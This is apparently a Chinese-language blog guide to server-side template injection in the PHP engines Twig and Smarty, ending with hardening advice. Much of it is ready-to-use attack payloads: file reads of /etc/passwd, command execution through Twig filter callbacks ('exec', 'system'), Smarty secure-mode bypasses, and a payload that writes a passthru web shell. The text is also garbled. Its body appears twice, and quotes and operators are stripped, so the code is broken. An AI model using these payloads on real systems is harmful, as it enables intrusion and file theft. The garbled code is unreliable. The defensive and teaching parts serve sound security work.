从Twig到SmartyPHP模板注入漏洞深度攻防指南在当今的Web应用开发中PHP模板引擎如Twig和Smarty因其高效的视图层处理能力而广受欢迎。然而这些引擎背后隐藏着一个常被忽视的安全威胁——服务器端模板注入SSTI。与广为人知的Flask/Jinja2注入不同PHP生态中的模板注入有着独特的利用方式和防御机制。1. PHP模板引擎安全机制解析Twig和Smarty作为PHP领域的主流模板引擎都设计了复杂的安全机制来防范注入攻击。理解这些机制是成功利用漏洞的前提。Twig采用严格的沙盒环境默认情况下禁止调用危险函数。其安全模型包括自动变量转义HTML/JS/CSS上下文感知白名单过滤的标签和函数可选的沙盒模式完全隔离环境// Twig安全配置示例 $twig new \Twig\Environment($loader, [ autoescape html, sandbox true, // 启用沙盒模式 allowed_functions [range, date] ]);Smarty则提供了安全模式Smarty::SECURE该模式下禁止直接PHP代码执行限制文件系统访问过滤敏感函数调用安全特性TwigSmarty自动转义✓✓沙盒模式✓✗安全模式✗✓标签白名单✓✗函数黑名单✗✓关键发现即使启用安全模式Smarty 3.1.30之前版本仍可通过内置方法绕过限制如self::getStreamVariable2. 漏洞检测与指纹识别准确识别模板引擎类型是成功利用的第一步。以下是针对PHP模板的特有检测方法Twig特征检测GET /page?input{{7*7}} HTTP/1.1预期响应包含49表明可能存在Twig注入Smarty特征检测GET /page?input{7*7} HTTP/1.1响应中出现49则可能为Smarty更精确的指纹识别技巧Twig尝试{{_self}}输出TemplateReferenceSmarty{$smarty.version}返回版本号错误消息分析故意触发语法错误观察堆栈跟踪Burp Suite检测方案使用Burp的Template Injection扫描检查对比不同引擎的响应差异通过Intruder模块发送特征payload3. Twig高级利用技术当基本表达式执行被限制时这些技术可能奏效文件读取三连击{{/etc/passwd|file_excerpt(1,30)}} {{app.request.files.get(1).__construct(/etc/passwd,)}} {{app.request.files.get(1).openFile.fread(99)}}RCE绕过技巧{# 方法1利用过滤器回调 #} {{_self.env.registerUndefinedFilterCallback(exec)}} {{_self.env.getFilter(id)}} {# 方法2直接系统调用 #} {{[cat /etc/passwd]|filter(system)}} {# 方法3查询参数注入 #} POST /subscribe?0cat/etc/passwd HTTP/1.1 {{app.request.query.filter(0,0,1024,{options:system})}}上下文绕过技巧使用{% set %}定义变量绕过字符限制利用attribute(_context,var)访问受限变量通过map过滤器执行链式操作4. Smarty突破安全模式即使启用安全模式这些方法仍可能有效历史漏洞利用{self::getStreamVariable(file:///etc/passwd)} {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,?php passthru($_GET[cmd]); ?,self::clearConfig())}条件执行绕过{if system(id)}{/if} {if readfile(/flag)}{/if}静态方法调用链{$smarty.template_object-smarty-disableSecurity()-display(string:{system(id)})}实战提示Smarty 3.1.30已修复多数高危静态方法但开发者自定义插件可能引入新风险5. 防御方案与安全配置Twig加固建议$twig new \Twig\Environment($loader, [ autoescape html, sandbox [ allowedTags [if, for], allowedFilters [upper], allowedMethods [], allowedProperties [], allowedFunctions [date] ], auto_reload true ]);Smarty最佳实践$smarty new Smarty(); $smarty-enableSecurity(sysplugins); // 使用内置安全插件 $smarty-secure_dir [__DIR__./templates]; $smarty-trusted_uri [/^https:\/\/example\.com/]; $smarty-php_handling Smarty::PHP_REMOVE;通用防御措施输入验证严格限制用户输入在模板中的使用范围上下文感知转义根据输出位置(HTML/JS/CSS)应用不同转义规则最小权限原则模板引擎运行账户应受限持续更新及时修补已知漏洞在最近一次企业级应用中我们发现通过组合Twig的过滤器特性与Smarty的模板继承机制可以构造出极其隐蔽的注入链。攻击者首先利用Twig的map过滤器获取上下文访问权然后通过Smarty的{include}标签实现代码执行。这种跨引擎攻击模式凸显了深度防御的必要性。模板引擎的安全不仅是配置问题更需要在架构设计阶段就考虑隔离策略。将用户提供的内容限制在数据层而非代码层才是治本之道。
别再只盯着Flask了:从Twig到Smarty,手把手教你挖掘PHP模板注入漏洞
发布时间:2026/6/10 21:54:30
从Twig到SmartyPHP模板注入漏洞深度攻防指南在当今的Web应用开发中PHP模板引擎如Twig和Smarty因其高效的视图层处理能力而广受欢迎。然而这些引擎背后隐藏着一个常被忽视的安全威胁——服务器端模板注入SSTI。与广为人知的Flask/Jinja2注入不同PHP生态中的模板注入有着独特的利用方式和防御机制。1. PHP模板引擎安全机制解析Twig和Smarty作为PHP领域的主流模板引擎都设计了复杂的安全机制来防范注入攻击。理解这些机制是成功利用漏洞的前提。Twig采用严格的沙盒环境默认情况下禁止调用危险函数。其安全模型包括自动变量转义HTML/JS/CSS上下文感知白名单过滤的标签和函数可选的沙盒模式完全隔离环境// Twig安全配置示例 $twig new \Twig\Environment($loader, [ autoescape html, sandbox true, // 启用沙盒模式 allowed_functions [range, date] ]);Smarty则提供了安全模式Smarty::SECURE该模式下禁止直接PHP代码执行限制文件系统访问过滤敏感函数调用安全特性TwigSmarty自动转义✓✓沙盒模式✓✗安全模式✗✓标签白名单✓✗函数黑名单✗✓关键发现即使启用安全模式Smarty 3.1.30之前版本仍可通过内置方法绕过限制如self::getStreamVariable2. 漏洞检测与指纹识别准确识别模板引擎类型是成功利用的第一步。以下是针对PHP模板的特有检测方法Twig特征检测GET /page?input{{7*7}} HTTP/1.1预期响应包含49表明可能存在Twig注入Smarty特征检测GET /page?input{7*7} HTTP/1.1响应中出现49则可能为Smarty更精确的指纹识别技巧Twig尝试{{_self}}输出TemplateReferenceSmarty{$smarty.version}返回版本号错误消息分析故意触发语法错误观察堆栈跟踪Burp Suite检测方案使用Burp的Template Injection扫描检查对比不同引擎的响应差异通过Intruder模块发送特征payload3. Twig高级利用技术当基本表达式执行被限制时这些技术可能奏效文件读取三连击{{/etc/passwd|file_excerpt(1,30)}} {{app.request.files.get(1).__construct(/etc/passwd,)}} {{app.request.files.get(1).openFile.fread(99)}}RCE绕过技巧{# 方法1利用过滤器回调 #} {{_self.env.registerUndefinedFilterCallback(exec)}} {{_self.env.getFilter(id)}} {# 方法2直接系统调用 #} {{[cat /etc/passwd]|filter(system)}} {# 方法3查询参数注入 #} POST /subscribe?0cat/etc/passwd HTTP/1.1 {{app.request.query.filter(0,0,1024,{options:system})}}上下文绕过技巧使用{% set %}定义变量绕过字符限制利用attribute(_context,var)访问受限变量通过map过滤器执行链式操作4. Smarty突破安全模式即使启用安全模式这些方法仍可能有效历史漏洞利用{self::getStreamVariable(file:///etc/passwd)} {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,?php passthru($_GET[cmd]); ?,self::clearConfig())}条件执行绕过{if system(id)}{/if} {if readfile(/flag)}{/if}静态方法调用链{$smarty.template_object-smarty-disableSecurity()-display(string:{system(id)})}实战提示Smarty 3.1.30已修复多数高危静态方法但开发者自定义插件可能引入新风险5. 防御方案与安全配置Twig加固建议$twig new \Twig\Environment($loader, [ autoescape html, sandbox [ allowedTags [if, for], allowedFilters [upper], allowedMethods [], allowedProperties [], allowedFunctions [date] ], auto_reload true ]);Smarty最佳实践$smarty new Smarty(); $smarty-enableSecurity(sysplugins); // 使用内置安全插件 $smarty-secure_dir [__DIR__./templates]; $smarty-trusted_uri [/^https:\/\/example\.com/]; $smarty-php_handling Smarty::PHP_REMOVE;通用防御措施输入验证严格限制用户输入在模板中的使用范围上下文感知转义根据输出位置(HTML/JS/CSS)应用不同转义规则最小权限原则模板引擎运行账户应受限持续更新及时修补已知漏洞在最近一次企业级应用中我们发现通过组合Twig的过滤器特性与Smarty的模板继承机制可以构造出极其隐蔽的注入链。攻击者首先利用Twig的map过滤器获取上下文访问权然后通过Smarty的{include}标签实现代码执行。这种跨引擎攻击模式凸显了深度防御的必要性。模板引擎的安全不仅是配置问题更需要在架构设计阶段就考虑隔离策略。将用户提供的内容限制在数据层而非代码层才是治本之道。